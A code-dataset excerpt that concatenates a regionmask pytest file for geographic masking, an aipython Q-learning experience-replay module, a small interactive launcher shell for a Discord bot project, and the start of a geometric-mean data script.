test_mask_wrong_number_fill(func):\n\n with pytest.raises(ValueError, match=\"The fill value should not\"):\n _mask_shapely(\n dummy_lon, dummy_lat, dummy_outlines_poly, numbers=[0, 1, 2], fill=0\n )\n\n with pytest.raises(ValueError, match=\"`numbers` and `coords` must have\"):\n _mask_shapely(dummy_lon, dummy_lat, dummy_outlines, numbers=[5])\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask(method):\n\n expected = expected_mask_2D()\n result = dummy_region.mask(dummy_lon, dummy_lat, method=method).values\n assert np.allclose(result, expected, equal_nan=True)\n\n\n@pytest.mark.skipif(has_pygeos, reason=\"Only errors if pygeos is missing\")\ndef test_missing_pygeos_error():\n\n with pytest.raises(ModuleNotFoundError, match=\"No module named 'pygeos'\"):\n dummy_region.mask(dummy_lon, dummy_lat, method=\"pygeos\")\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_xarray(method):\n\n expected = expected_mask_2D()\n result = dummy_region.mask(dummy_lon, dummy_lat, method=method)\n\n assert isinstance(result, xr.DataArray)\n assert np.allclose(result, expected, equal_nan=True)\n assert np.all(np.equal(result.lat.values, dummy_lat))\n assert np.all(np.equal(result.lon.values, dummy_lon))\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_poly_z_value(method):\n\n outl1 = Polygon(((0, 0, 1), (0, 1, 1), (1, 1.0, 1), (1, 0, 1)))\n outl2 = Polygon(((0, 1, 1), (0, 2, 1), (1, 2.0, 1), (1, 1, 1)))\n outlines = [outl1, outl2]\n\n r_z = Regions(outlines)\n\n expected = expected_mask_2D()\n result = r_z.mask(dummy_lon, dummy_lat, method=method)\n\n assert isinstance(result, xr.DataArray)\n assert np.allclose(result, expected, equal_nan=True)\n assert np.all(np.equal(result.lat.values, dummy_lat))\n assert np.all(np.equal(result.lon.values, dummy_lon))\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_xarray_name(method):\n\n msk = dummy_region.mask(dummy_lon, dummy_lat, method=method)\n assert msk.name == \"region\"\n\n\n@pytest.mark.parametrize(\"ndims\", [(2, 1), (1, 2)])\ndef test_mask_unequal_ndim(ndims):\n\n lon = np.arange(ndims[0] * 2).reshape(ndims[0] * (2,))\n lat = np.arange(ndims[1] * 2).reshape(ndims[1] * (2,))\n\n with pytest.raises(ValueError, match=\"Equal number of dimensions required\"):\n dummy_region.mask(lon, lat)\n\n\ndef test_mask_unequal_2D_shapes():\n\n lon = np.zeros(shape=(2, 3))\n lat = np.zeros(shape=(2, 4))\n\n with pytest.raises(\n ValueError, match=\"2D lon and lat coordinates need to have the same shape\"\n ):\n dummy_region.mask(lon, lat)\n\n\n@pytest.mark.parametrize(\"ndim\", [0, 3, 4])\ndef test_mask_ndim_ne_1_2(ndim):\n\n lon = np.zeros(shape=ndim * (2,))\n lat = np.zeros(shape=ndim * (2,))\n\n with pytest.raises(ValueError, match=\"1D or 2D data required\"):\n dummy_region.mask(lon, lat)\n\n\n@pytest.mark.parametrize(\"lon_name\", [\"lon\", \"longitude\"])\n@pytest.mark.parametrize(\"lat_name\", [\"lat\", \"latitude\"])\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_obj(lon_name, lat_name, method):\n\n expected = expected_mask_2D()\n\n obj = {lon_name: dummy_lon, lat_name: dummy_lat}\n result = dummy_region.mask(\n obj, method=method, lon_name=lon_name, lat_name=lat_name\n ).values\n\n assert np.allclose(result, expected, equal_nan=True)\n\n\n@pytest.mark.filterwarnings(\"ignore:No gridpoint belongs to any region.\")\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_wrap(method):\n\n # create a test case where the outlines and the lon coordinates\n # are different\n\n # outline 0..359.9\n outl1 = ((359, 0), (359, 1), (0, 1.0), (0, 0))\n outl2 = ((359, 1), (359, 2), (0, 2.0), (0, 1))\n outlines = [outl1, outl2]\n\n r = Regions(outlines)\n\n # lon -180..179.9\n lon = [-1.5, -0.5]\n lat = [0.5, 1.5]\n\n result = r.mask(lon, lat, method=method, wrap_lon=False).values\n assert np.all(np.isnan(result))\n\n # this is the wrong wrapping\n result = r.mask(lon, lat, method=method, wrap_lon=180).values\n assert np.all(np.isnan(result))\n\n expected = expected_mask_2D()\n\n # determine the wrap automatically\n result = r.mask(lon, lat, method=method, wrap_lon=True).values\n assert np.allclose(result, expected, equal_nan=True)\n\n # determine the wrap by hand\n result = r.mask(lon, lat, method=method, wrap_lon=360).values\n assert np.allclose(result, expected, equal_nan=True)\n\n\n@pytest.mark.filterwarnings(\"ignore:No gridpoint belongs to any region.\")\n@pytest.mark.parametrize(\"meth\", [\"mask\", \"mask_3D\"])\ndef test_wrap_lon_no_error_wrap_lon_false(meth):\n\n # regions that exceed 360° longitude\n r = Regions([[[-180, 0], [-180, 10], [360, 10], [360, 0]]], numbers=[1])\n\n # lons that exceed 360° longitude\n lon = np.arange(-175, 360, 2.5)\n lat = np.arange(10, 1, -3)\n\n mask = getattr(r, meth)(lon, lat, wrap_lon=False)\n\n # the region index is 1 -> thus this works for 2D and 3D masks\n assert (mask == 1).all()\n np.testing.assert_equal(lon, mask.lon)\n np.testing.assert_equal(lat, mask.lat)\n\n # -180° is not special cased (no _mask_edgepoints_shapely)\n lon = [-180]\n mask = getattr(r, meth)(lon, lat, wrap_lon=False)\n assert (mask != 1).all()\n np.testing.assert_equal(lon, mask.lon)\n np.testing.assert_equal(lat, mask.lat)\n\n\n@pytest.mark.parametrize(\"meth\", [\"mask\", \"mask_3D\"])\ndef test_wrap_lon_error_wrap_lon(meth):\n\n # regions that exceed 360° longitude\n r = Regions([[[-180, 0], [-180, 10], [360, 10], [360, 0]]])\n\n # lons that exceed 360° longitude\n lon = np.arange(-180, 360, 2.5)\n lat = np.arange(10, 1, -3)\n\n with pytest.raises(ValueError, match=\"Set `wrap_lon=False` to skip this check.\"):\n getattr(r, meth)(lon, lat)\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_autowrap(method):\n\n expected = expected_mask_2D()\n\n # create a test case where the outlines and the lon coordinates\n # are different - or the same - should work either way\n\n # 1. -180..180 regions and -180..180 lon\n lon = [0.5, 1.5]\n lat = [0.5, 1.5]\n result = dummy_region.mask(lon, lat, method=method).values\n assert np.allclose(result, expected, equal_nan=True)\n\n # 2. -180..180 regions and 0..360 lon\n # outline -180..180\n outl1 = ((-180, 0), (-180, 1), (-1, 1.0), (-1, 0))\n outl2 = ((-180, 1), (-180, 2), (-1, 2.0), (-1, 1))\n outlines = [outl1, outl2]\n\n r = Regions(outlines)\n\n # lon -180..179.9\n lon = [358.5, 359.5]\n lat = [0.5, 1.5]\n\n result = r.mask(lon, lat, method=method).values\n assert np.allclose(result, expected, equal_nan=True)\n\n # 3. 0..360 regions and -180..180 lon\n\n # outline 0..359.9\n outl1 = ((359, 0), (359, 1), (0, 1.0), (0, 0))\n outl2 = ((359, 1), (359, 2), (0, 2.0), (0, 1))\n outlines = [outl1, outl2]\n\n r = Regions(outlines)\n\n # lon -180..179.9\n lon = [-1.5, -0.5]\n lat = [0.5, 1.5]\n\n result = r.mask(lon, lat, method=method).values\n assert np.allclose(result, expected, equal_nan=True)\n\n # 3. 0..360 regions and 0..360 lon\n\n # lon 0..359.9\n lon = [0.5, 359.5]\n lat = [0.5, 1.5]\n\n result = r.mask(lon, lat, method=method).values\n assert np.allclose(result, expected, equal_nan=True)\n\n\ndef test_mask_wrong_method():\n\n msg = \"Method must be None or one of 'rasterize', 'shapely' and 'pygeos'.\"\n with pytest.raises(ValueError, match=msg):\n dummy_region.mask(dummy_lon, dummy_lat, method=\"wrong\")\n\n\n# ======================================================================\n\n# test 2D array\nlon_2D = [[0.5, 1.5], [0.5, 1.5]]\nlat_2D = [[0.5, 0.5], [1.5, 1.5]]\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS_IRREGULAR)\ndef test_mask_2D(method):\n\n expected = expected_mask_2D()\n result = dummy_region.mask(lon_2D, lat_2D, method=method)\n\n assert isinstance(result, xr.DataArray)\n assert np.allclose(result, expected, equal_nan=True)\n\n assert np.all(np.equal(result.lat.values, lat_2D))\n assert np.all(np.equal(result.lon.values, lon_2D))\n\n assert np.all(np.equal(result.lat_idx.values, [0, 1]))\n assert np.all(np.equal(result.lon_idx.values, [0, 1]))\n\n\n@pytest.mark.parametrize(\"lon\", [lon_2D, [0, 1, 3], 0])\n@pytest.mark.parametrize(\"lat\", [lat_2D, [0, 1, 3], 0])\ndef test_mask_rasterize_irregular(lon, lat):\n\n with pytest.raises(ValueError, match=\"`lat` and `lon` must be equally spaced\"):\n dummy_region.mask(lon, lat, method=\"rasterize\")\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS_IRREGULAR)\ndef test_mask_xarray_in_out_2D(method):\n # create xarray DataArray with 2D dims\n\n coords = {\n \"lat_1D\": [1, 2],\n \"lon_1D\": [1, 2],\n \"lat_2D\": ((\"lat_1D\", \"lon_1D\"), lat_2D),\n \"lon_2D\": ((\"lat_1D\", \"lon_1D\"), lon_2D),\n }\n\n d = np.random.rand(2, 2)\n\n data = xr.DataArray(d, coords=coords, dims=(\"lat_1D\", \"lon_1D\"))\n\n expected = expected_mask_2D()\n result = dummy_region.mask(\n data, lon_name=\"lon_2D\", lat_name=\"lat_2D\", method=method\n )\n\n assert isinstance(result, xr.DataArray)\n assert np.allclose(result, expected, equal_nan=True)\n assert np.all(np.equal(result.lat_2D.values, lat_2D))\n assert np.all(np.equal(result.lon_2D.values, lon_2D))\n\n assert np.all(np.equal(result.lat_1D.values, [1, 2]))\n assert np.all(np.equal(result.lon_1D.values, [1, 2]))\n\n\n@pytest.mark.parametrize(\"lon_start\", [0, 1, -5])\n@pytest.mark.parametrize(\"dlon\", [1, 2])\n@pytest.mark.parametrize(\"lat_start\", [0, 1, -5])\n@pytest.mark.parametrize(\"dlat\", [1, 2])\ndef test_transform_from_latlon(lon_start, dlon, lat_start, dlat):\n\n lon = np.arange(lon_start, 20, dlon)\n lat = np.arange(lat_start, 20, dlat)\n\n r = _transform_from_latlon(lon, lat)\n\n assert isinstance(r, Affine)\n\n expected = np.array(\n [dlon, 0, lon_start - dlon / 2, 0, dlat, lat_start - dlat / 2, 0, 0, 1]\n )\n\n assert np.allclose(np.array(r), expected)\n\n\n@pytest.mark.parametrize(\"a, b\", [(0, 1), (4, 5)])\n@pytest.mark.parametrize(\"fill\", [np.NaN, 3])\ndef test_rasterize(a, b, fill):\n\n expected = expected_mask_2D(a=a, b=b, fill=fill)\n\n result = _mask_rasterize(\n dummy_lon, dummy_lat, dummy_outlines_poly, numbers=[a, b], fill=fill\n )\n\n assert np.allclose(result, expected, equal_nan=True)\n\n\ndef test_mask_empty():\n\n with pytest.warns(UserWarning, match=\"No gridpoint belongs to any region.\"):\n result = dummy_region.mask([10, 11], [10, 11], method=\"shapely\")\n\n assert isinstance(result, xr.DataArray)\n assert result.shape == (2, 2)\n assert result.isnull().all()\n assert np.all(np.equal(result.lon.values, [10, 11]))\n assert np.all(np.equal(result.lat.values, [10, 11]))\n\n\n# =============================================================================\n# =============================================================================\n# test mask_3D: only basics (same algorithm as mask)\n\n\n@pytest.mark.parametrize(\"drop\", [True, False])\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_3D(drop, method):\n\n expected = expected_mask_3D(drop)\n result = dummy_region.mask_3D(dummy_lon, dummy_lat, drop=drop, method=method)\n\n assert isinstance(result, xr.DataArray)\n assert result.shape == expected.shape\n assert np.allclose(result, expected, equal_nan=True)\n assert np.all(np.equal(result.lat.values, dummy_lat))\n assert np.all(np.equal(result.lon.values, dummy_lon))\n\n _dr = dummy_region[[0, 1]] if drop else dummy_region\n\n assert np.all(np.equal(result.region.values, _dr.numbers))\n assert np.all(result.abbrevs.values == _dr.abbrevs)\n assert np.all(result.names.values == _dr.names)\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_3D_empty(method):\n\n with pytest.warns(UserWarning, match=\"No gridpoint belongs to any region.\"):\n result = dummy_region.mask_3D([10, 11], [10, 11], drop=True, method=method)\n\n assert isinstance(result, xr.DataArray)\n assert result.shape == (0, 2, 2)\n assert np.all(np.equal(result.lon.values, [10, 11]))\n assert np.all(np.equal(result.lat.values, [10, 11]))\n\n\n@pytest.mark.parametrize(\"lon_name\", [\"lon\", \"longitude\"])\n@pytest.mark.parametrize(\"lat_name\", [\"lat\", \"latitude\"])\n@pytest.mark.parametrize(\"drop\", [True, False])\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\ndef test_mask_3D_obj(lon_name, lat_name, drop, method):\n\n expected = expected_mask_3D(drop)\n\n obj = {lon_name: dummy_lon, lat_name: dummy_lat}\n result = dummy_region.mask_3D(\n obj, method=method, drop=drop, lon_name=lon_name, lat_name=lat_name\n )\n\n assert isinstance(result, xr.DataArray)\n\n assert result.shape == expected.shape\n assert np.allclose(result, expected, equal_nan=True)\n\n assert np.all(np.equal(result[lat_name].values, dummy_lat))\n assert np.all(np.equal(result[lon_name].values, dummy_lon))\n\n _dr = dummy_region[[0, 1]] if drop else dummy_region\n\n assert np.all(np.equal(result.region.values, _dr.numbers))\n assert np.all(result.abbrevs.values == _dr.abbrevs)\n assert np.all(result.names.values == _dr.names)\n\n\n# =============================================================================\n# =============================================================================\n# =============================================================================\n\n# create a region such that the edge falls exactly on the lat/ lon coordinates\n# ===\n\nds_US_180 = create_lon_lat_dataarray_from_bounds(*(-161, -29, 2), *(75, 13, -2))\nds_US_360 = create_lon_lat_dataarray_from_bounds(\n *(360 + -161, 360 + -29, 2), *(75, 13, -2)\n)\n\noutline_180 = np.array([[-100.0, 50.0], [-100.0, 28.0], [-80.0, 28.0], [-80.0, 50.0]])\noutline_360 = outline_180 + [360, 0]\n\noutline_hole_180 = np.array(\n [[-86.0, 44.0], [-86.0, 34.0], [-94.0, 34.0], [-94.0, 44.0]]\n)\noutline_hole_360 = outline_hole_180 + [360, 0]\n\n\nr_US_180_ccw = Regions([outline_180]) # counter clockwise\nr_US_180_cw = Regions([outline_180[::-1]]) # clockwise\n\nr_US_360_ccw = Regions([outline_360]) # counter clockwise\nr_US_360_cw = Regions([outline_360[::-1]]) # clockwise\n\n# define poylgon with hole\npoly = Polygon(outline_180, [outline_hole_180])\nr_US_hole_180_cw = Regions([poly]) # clockwise\npoly = Polygon(outline_180, [outline_hole_180[::-1]])\nr_US_hole_180_ccw = Regions([poly]) # counter clockwise\n\npoly = Polygon(outline_360, [outline_hole_360])\nr_US_hole_360_cw = Regions([poly]) # clockwise\npoly = Polygon(outline_360, [outline_hole_360[::-1]])\nr_US_hole_360_ccw = Regions([poly]) # counter clockwise\n\n\ndef _expected_rectangle(ds, lon_min, lon_max, lat_min, lat_max, is_360):\n\n if is_360:\n lon_min += 360\n lon_max += 360\n\n LON = ds.LON\n LAT = ds.LAT\n\n expected = (LAT > lat_min) & (LAT <= lat_max)\n return expected & (LON > lon_min) & (LON <= lon_max)\n\n\ndef expected_mask_edge(ds, is_360, number=0, fill=np.NaN):\n\n expected = _expected_rectangle(ds, -100, -80, 28, 50, is_360)\n\n # set number and fill value\n expected = expected.where(expected, fill)\n expected = expected.where(expected != 1, number)\n\n return expected\n\n\ndef expected_mask_interior_and_edge(ds, is_360, number=0, fill=np.NaN):\n\n expected_outerior = _expected_rectangle(ds, -100, -80, 28, 50, is_360)\n expected_interior = _expected_rectangle(ds, -94, -86, 34, 44, is_360)\n\n expected = expected_outerior & ~expected_interior\n\n # set number and fill value\n expected = expected.where(expected, fill)\n expected = expected.where(expected != 1, number)\n\n return expected\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\n@pytest.mark.parametrize(\n \"regions\", [r_US_180_ccw, r_US_180_cw, r_US_360_ccw, r_US_360_cw]\n)\n@pytest.mark.parametrize(\"ds_US, is_360\", [(ds_US_180, False), (ds_US_360, True)])\ndef test_mask_edge(method, regions, ds_US, is_360):\n\n expected = expected_mask_edge(ds_US, is_360)\n result = regions.mask(ds_US, method=method)\n\n assert isinstance(result, xr.DataArray)\n assert np.allclose(result, expected, equal_nan=True)\n assert np.all(np.equal(result.lat, ds_US.lat))\n assert np.all(np.equal(result.lon, ds_US.lon))\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\n@pytest.mark.parametrize(\n \"regions\",\n [r_US_hole_180_cw, r_US_hole_180_ccw, r_US_hole_360_cw, r_US_hole_360_ccw],\n)\n@pytest.mark.parametrize(\"ds_US, is_360\", [(ds_US_180, False), (ds_US_360, True)])\ndef test_mask_interior_and_edge(method, regions, ds_US, is_360):\n\n expected = expected_mask_interior_and_edge(ds_US, is_360)\n result = regions.mask(ds_US, method=method)\n\n assert isinstance(result, xr.DataArray)\n assert np.allclose(result, expected, equal_nan=True)\n assert np.all(np.equal(result.lat.values, ds_US.lat))\n assert np.all(np.equal(result.lon.values, ds_US.lon))\n\n\n@pytest.mark.xfail(\n raises=AssertionError, reason=\"https://github.com/mapbox/rasterio/issues/1844\"\n)\ndef test_rasterize_edge():\n\n lon = ds_US_180.lon\n lat = ds_US_180.lat\n\n expected = expected_mask_edge(ds_US_180, is_360=False)\n result = _mask_rasterize_no_offset(lon, lat, r_US_180_ccw.polygons, numbers=[0])\n\n assert np.allclose(result, expected, equal_nan=True)\n\n\nds_for_45_deg = create_lon_lat_dataarray_from_bounds(*(-0.5, 16, 1), *(10.5, -0.5, -1))\n\n# add a small offset to y to avoid https://github.com/mapbox/rasterio/issues/1844\noutline_45_deg = np.array([[0, 10.1], [0, 0.1], [5.1, 0.1], [15.1, 10.1]])\n\nr_45_deg_ccw = Regions([outline_45_deg])\nr_45_deg_cw = Regions([outline_45_deg[::-1]])\n\n\n@pytest.mark.parametrize(\"regions\", [r_45_deg_ccw, r_45_deg_cw])\ndef test_deg45_rasterize_shapely_equal(regions):\n # https://github.com/regionmask/regionmask/issues/80\n\n shapely = regions.mask(ds_for_45_deg, method=\"shapely\")\n rasterize = regions.mask(ds_for_45_deg, method=\"rasterize\")\n\n xr.testing.assert_equal(shapely, rasterize)\n\n if has_pygeos:\n pygeos = regions.mask(ds_for_45_deg, method=\"pygeos\")\n xr.testing.assert_equal(pygeos, rasterize)\n\n\n@pytest.mark.parametrize(\"regions\", [r_45_deg_ccw, r_45_deg_cw])\ndef test_deg45_rasterize_offset_equal(regions):\n # https://github.com/regionmask/regionmask/issues/80\n\n polygons = regions.polygons\n lon = ds_for_45_deg.lon\n lat = ds_for_45_deg.lat\n\n result_no_offset = _mask_rasterize_no_offset(lon, lat, polygons, numbers=[0])\n result_offset = _mask_rasterize(lon, lat, polygons, numbers=[0])\n\n assert np.allclose(result_no_offset, result_offset, equal_nan=True)\n\n\n# =============================================================================\n\n# the whole globe -> can be re-arranged (_mask_rasterize_flip)\nds_GLOB_360 = create_lon_lat_dataarray_from_bounds(*(0, 360, 2), *(75, 13, -2))\n# not all lon -> must be masked twice (_mask_rasterize_split)\nds_GLOB_360_part = create_lon_lat_dataarray_from_bounds(*(0, 300, 2), *(75, 13, -2))\n\n\n@pytest.mark.parametrize(\"ds_360\", [ds_GLOB_360, ds_GLOB_360_part])\n@pytest.mark.parametrize(\"regions_180\", [r_US_180_ccw, r_US_180_cw])\ndef test_rasterize_on_split_lon(ds_360, regions_180):\n # https://github.com/regionmask/regionmask/issues/127\n\n # using regions_180 and ds_360 lon must be wrapped, making it\n # NOT equally_spaced\n result = regions_180.mask(ds_360, method=\"rasterize\")\n\n expected = expected_mask_edge(ds_360, is_360=True)\n assert isinstance(result, xr.DataArray)\n assert np.allclose(result, expected, equal_nan=True)\n assert np.all(np.equal(result.lat, expected.lat))\n assert np.all(np.equal(result.lon, expected.lon))\n\n expected_shapely = regions_180.mask(ds_360, method=\"shapely\")\n xr.testing.assert_equal(result, expected_shapely)\n\n\ndef test_rasterize_on_split_lon_asymmetric():\n # https://github.com/regionmask/regionmask/issues/266\n\n # for _mask_rasterize_flip: split_point not in the middle\n lon = np.hstack([np.arange(-90, 20, 2), np.arange(-180, -90, 2)])\n lat = np.arange(75, 13, -2)\n ds = xr.Dataset(coords=dict(lon=lon, lat=lat))\n\n assert _determine_method(ds.lon, ds.lat) == \"rasterize_flip\"\n\n result = r_US_180_cw.mask(ds, method=\"rasterize\")\n expected = r_US_180_cw.mask(ds, method=\"shapely\")\n xr.testing.assert_equal(result, expected)\n\n\nMETHOD_IRREGULAR = \"pygeos\" if has_pygeos else \"shapely\"\nMETHODS = {\n 0: \"rasterize\",\n 1: \"rasterize_flip\",\n 2: \"rasterize_split\",\n 3: METHOD_IRREGULAR,\n}\n\nequal = np.arange(0.5, 360)\ngrid_2D = np.arange(10).reshape(2, 5)\nun_equal = [0, 1, 2, 4, 5, 6.1]\nclose_to_equal = equal + np.random.randn(*equal.shape) * 10 ** -6\n\n\n@pytest.mark.parametrize(\n \"lon, m_lon\",\n [\n (equal, 0),\n (close_to_equal, 0),\n (_wrapAngle(equal), 1),\n (_wrapAngle(equal)[:-1], 2),\n ([1], 3),\n (grid_2D, 3),\n (un_equal, 3),\n ],\n)\n@pytest.mark.parametrize(\n \"lat, m_lat\",\n [(equal, 0), (close_to_equal, 0), ([1], 3), (grid_2D, 3), (un_equal, 3)],\n)\ndef test_determine_method(lon, m_lon, lat, m_lat):\n\n expected = METHODS[max((m_lon, m_lat))]\n\n assert _determine_method(lon, lat) == expected\n\n\n# =============================================================================\n# =============================================================================\n# =============================================================================\n\n# ensure a global region incudes all gridpoints - also the ones at\n# 0°E/ -180°E and -90°N (#GH159)\n\noutline_GLOB_180 = np.array(\n [[-180.0, 90.0], [-180.0, -90.0], [180.0, -90.0], [180.0, 90.0]]\n)\noutline_GLOB_360 = outline_GLOB_180 + [180, 0]\n\nr_GLOB_180 = Regions([outline_GLOB_180])\nr_GLOB_360 = Regions([outline_GLOB_360])\n\nlon180 = np.arange(-180, 180, 10)\nlon360 = np.arange(0, 360, 10)\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\n@pytest.mark.parametrize(\"regions\", [r_GLOB_180, r_GLOB_360])\n@pytest.mark.parametrize(\"lon\", [lon180, lon360])\ndef test_mask_whole_grid(method, regions, lon):\n\n lat = np.arange(90, -91, -10)\n mask = regions.mask(lon, lat, method=method)\n\n assert (mask == 0).all()\n\n # with wrap_lon=False the edges are not masked\n mask = regions.mask(lon, lat, method=method, wrap_lon=False)\n assert mask.sel(lat=-90).isnull().all()\n\n\n@pytest.mark.parametrize(\"method\", MASK_METHODS)\n@pytest.mark.parametrize(\"regions\", [r_GLOB_180, r_GLOB_360])\ndef test_mask_whole_grid_unusual_lon(method, regions):\n # https://github.com/regionmask/regionmask/issues/213\n\n lat = np.arange(90, -91, -2.5)\n lon = np.arange(-300, 60, 2.5)\n mask = regions.mask(lon, lat, method=method)\n\n assert (mask == 0).all()\n\n\ndef test_inject_mask_docstring():\n\n result = _inject_mask_docstring(True, True)\n\n assert \"3D\" in result\n assert \"2D\" not in result\n assert \"drop :\" in result\n assert \"geodataframe\" in result\n\n result = _inject_mask_docstring(False, False)\n\n assert \"2D\" in result\n assert \"3D\" not in result\n assert \"drop :\" not in result\n assert \"geodataframe\" not in result\n","sub_path":"regionmask/tests/test_mask.py","file_name":"test_mask.py","file_ext":"py","file_size_in_byte":24756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"476994409","text":"# rlQExperienceReplay.py - Linear Reinforcement Learner with Experience Replay\n# AIFCA Python3 code Version 0.9.1 Documentation at http://aipython.org\n\n# Artificial Intelligence: Foundations of Computational Agents\n# http://artint.info\n# Copyright David L Poole and Alan K Mackworth 2017-2020.\n# This work is licensed under a Creative Commons\n# Attribution-NonCommercial-ShareAlike 4.0 International License.\n# See: http://creativecommons.org/licenses/by-nc-sa/4.0/deed.en\n\nfrom rlQLearner import Q_learner\nfrom utilities import flip\nimport random\n\nclass BoundedBuffer(object):\n def __init__(self, buffer_size=1000):\n self.buffer_size = buffer_size\n self.buffer = [0]*buffer_size\n self.number_added = 0\n\n def add(self,experience):\n if self.number_added < self.buffer_size:\n self.buffer[self.number_added] = experience\n else:\n if flip(self.buffer_size/self.number_added):\n position = random.randrange(self.buffer_size)\n self.buffer[position] = experience\n self.number_added += 1\n\n def get(self):\n return self.buffer[random.randrange(min(self.number_added, self.buffer_size))]\n\nclass Q_AR_learner(Q_learner):\n def __init__(self, env, discount, explore=0.1, fixed_alpha=True, alpha=0.2,\n alpha_fun=lambda k:1/k, qinit=0, label=\"Q_AR_learner\", max_buffer_size=5000,\n num_updates_per_action=5, burn_in=1000 ):\n Q_learner.__init__(self, env, discount, explore, fixed_alpha, alpha,\n alpha_fun, qinit, label)\n self.experience_buffer = BoundedBuffer(max_buffer_size)\n self.num_updates_per_action = num_updates_per_action\n self.burn_in = burn_in\n\n\n def do(self,num_steps=100):\n \"\"\"do num_steps of interaction with the environment\"\"\"\n self.display(2,\"s\\ta\\tr\\ts'\\tQ\")\n alpha = self.alpha\n for i in range(num_steps):\n action = self.select_action(self.state)\n next_state,reward = self.env.do(action)\n self.experience_buffer.add((self.state,action,reward,next_state)) #remember experience\n if not self.fixed_alpha:\n k = self.visits[(self.state, action)] = self.visits.get((self.state, action),0)+1\n alpha = self.alpha_fun(k)\n self.q[(self.state, action)] = (\n (1-alpha) * self.q.get((self.state, action),self.qinit)\n + alpha * (reward + self.discount\n * max(self.q.get((next_state, next_act),self.qinit)\n for next_act in self.actions)))\n self.display(2,self.state, action, reward, next_state, \n self.q[(self.state, action)], sep='\\t')\n self.state = next_state\n self.acc_rewards += reward\n # do some updates from experince buffer\n if self.experience_buffer.number_added > self.burn_in:\n for i in range(self.num_updates_per_action):\n (s,a,r,ns) = self.experience_buffer.get()\n if not self.fixed_alpha:\n k = self.visits[(s,a)]\n alpha = self.alpha_fun(k)\n self.q[(s,a)] = (\n (1-alpha) * self.q[(s,a)]\n + alpha * (reward + self.discount\n * max(self.q.get((ns,na),self.qinit)\n for na in self.actions)))\n\nfrom rlSimpleEnv import Simple_game_env\nfrom rlQTest import sag1, sag2, sag3\nfrom rlPlot import plot_rl\n\nsenv = Simple_game_env()\nsag1ar = Q_AR_learner(senv,0.9,explore=0.2,fixed_alpha=True,alpha=0.1)\n# plot_rl(sag1ar,steps_explore=100000,steps_exploit=100000,label=\"AR alpha=\"+str(sag1ar.alpha))\nsag2ar = Q_AR_learner(senv,0.9,explore=0.2,fixed_alpha=False)\n# plot_rl(sag2ar,steps_explore=100000,steps_exploit=100000,label=\"AR alpha=1/k\")\nsag3ar = Q_AR_learner(senv,0.9,explore=0.2,fixed_alpha=False,alpha_fun=lambda k:10/(9+k))\n# plot_rl(sag3ar,steps_explore=100000,steps_exploit=100000,label=\"AR alpha=10/(9+k)\")\n\n","sub_path":"Assignment 4/aipython/rlQExperienceReplay.py","file_name":"rlQExperienceReplay.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"528481341","text":"print('NeviraShell 1.0')\n \nx=1\nwhile True:\n startnum = 0\n cmd = input('>')\n if cmd=='/initialize log':\n print('WARNING: You are about to initialize the log. Are you sure you want to continue? (Y/N)')\n warn = input('/initialize:')\n if warn=='Y':\n try:\n print('(0/1 complete)Deleting log data...')\n logedit = open('discord.log', 'w')\n logedit.write('Log deleted by bot')\n logedit.close\n print('[OK]Log data deleted')\n print('--------LOG INITIALIZATION SUCCESSFUL--------')\n except:\n print('[* ]Failed to delete log data')\n print('----------LOG INITIALIZATION FAILED----------')\n elif cmd=='/token':\n print('/token is not available in the program which the shell is running in, but you')\n print('can use this command in the shell in nevirabot.py')\n elif cmd=='/exit':\n x=1\n while True:\n print('')\n print('Start Nevira(/start 1) View version(/version)')\n print('Start AeroBot(/start 2) Quit(/exit)')\n print('Start shell(/start 3)')\n action = input('>')\n if action=='/start 1':\n import Nevira\n elif action=='/start 2':\n import Aerobot\n elif action=='/start 3':\n print('')\n break\n elif action=='/version':\n print('Nevira.py Interactive V1.1')\n elif action=='/exit':\n quit()\n else:\n print('Unknown command, check if command is available')\n print('')\n elif cmd=='/start':\n try:\n print('Importing Nevira.py...')\n import Nevira\n except:\n print('No default file detected! Specify code file you want to run.')\n script = input('/start:')\n try:\n execfile(script)\n except:\n print('[**]Failed startup, script not detected')\n else:\n print('Invalid command, check if command is available')\n print('Available commands: /start /initialize log /exit')\n","sub_path":"Nevira-release1.2/install/runbase.py","file_name":"runbase.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"408488779","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 25 19:04:53 2017\n\n@author: mona\n\"\"\"\n\nfrom scipy.stats.mstats import gmean\nfrom math import isnan, exp, log\nfrom collections import deque\nimport sys\n\ndef geomean(x):\n return exp(sum( log(i) for i in x) / len(x))\n\nlocation1=deque()\nlocation2=deque()\nnum_lines=0\nfilepath=sys.argv[1]\nwith open(filepath) as f:\n for line in f:\n line_split=line.split(';')\n if not line.startswith('#'):\n try:\n value=float(line_split[2])\n if not isnan(value) and value>0.0:\n if int(line_split[1])==1:\n location1.append(value)\n elif int(line_split[1])==2:\n location2.append(value)\n\n except ValueError:\n num_lines+=1\n continue\n except IndexError:\n num_lines+=1\n continue\n #num_lines+=1\nlen1=len(location1)\nlen2=len(location2)\n\nprint('File: '+filepath+' with '+str(num_lines+len1+len2)+' lines')\nprint('Valid values Loc0: ' +str(len1)+' with '+'GeoMean: '+str(gmean(list(location1))))\nprint('Valid values Loc1: ' +str(len2)+' with '+'GeoMean: 